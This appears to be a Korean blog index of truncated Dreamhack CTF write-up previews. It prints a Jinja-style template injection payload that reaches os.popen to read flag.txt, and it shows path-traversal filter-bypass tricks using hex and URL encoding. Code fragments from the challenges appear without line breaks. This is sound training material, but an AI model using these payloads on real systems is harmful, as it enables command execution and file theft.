devtools-sources
- wargame/dreamhack
- · 2025. 4. 25.
simple-ssti
{{"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('cat%20flag.txt').read()}}
- wargame/dreamhack
- · 2025. 4. 22.
file=../uploads/flag.php위를 입력하면 되는데 flag가 필터링된다 정규식 공부를 해보자 일단 여기에서 쓰인 건 /flag|:/i인데 flag|:는 flag와 : 중에서 하나를 찾는다는 의미이다. i는 대소문자 구분하지 않고 검색한다는 뜻이다 flag, FLAG, Flag 모두 포함 그렇다면 스트링 우회 기법을 써보자 https://dolcevie.com/js/converter.html Hex/Ascii ConverterHex: 41:6e:74:6f:6e:20:69:73:20:67:72:65:61:74:20:3a:29dolcevie.com char(0x666c6167)0x666c6167%66lag.php i 옵션 우회는 모르겠고 m 옵션은 개행 대신 ; 써주면 된다고 한다 공백은 $I..
#!/usr/bin/python3from flask import Flask, request, render_template, gimport sqlite3import osimport binasciiapp = Flask(__name__)app.secret_key = os.urandom(32)try: FLAG = open('./flag.txt', 'r').read()except: FLAG = '[**FLAG**]'DATABASE = "database.db"if os.path.exists(DATABASE) == False: db = sqlite3.connect(DATABASE) db.execute('create table users(userid char(100), userpassword ch..
#!/usr/bin/env python3from Crypto.Util.number import getPrime, inverse, bytes_to_long, isPrimefrom random import randrange, choicesfrom hashlib import sha1import stringclass DSA(object): def __init__(self): print('generating parameters...') while True: self.q = getPrime(160) r = randrange(1 100: print("Too long message") else: ..
{{"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('cat%20flag.txt').read()}}
from Crypto.Util.number import getPrime, isPrime, bytes_to_longfrom flag import FLAGdef getSafePrime(n): while True: p1 = getPrime(n) p1 = 12292533839697789237781226465893995180121031431223821206705959514844740616676971685593611910401435348116282650062239695633837023803771330312966797357041820512979280009449280251233320276760974554248030163271024367688017993149027397926904890868..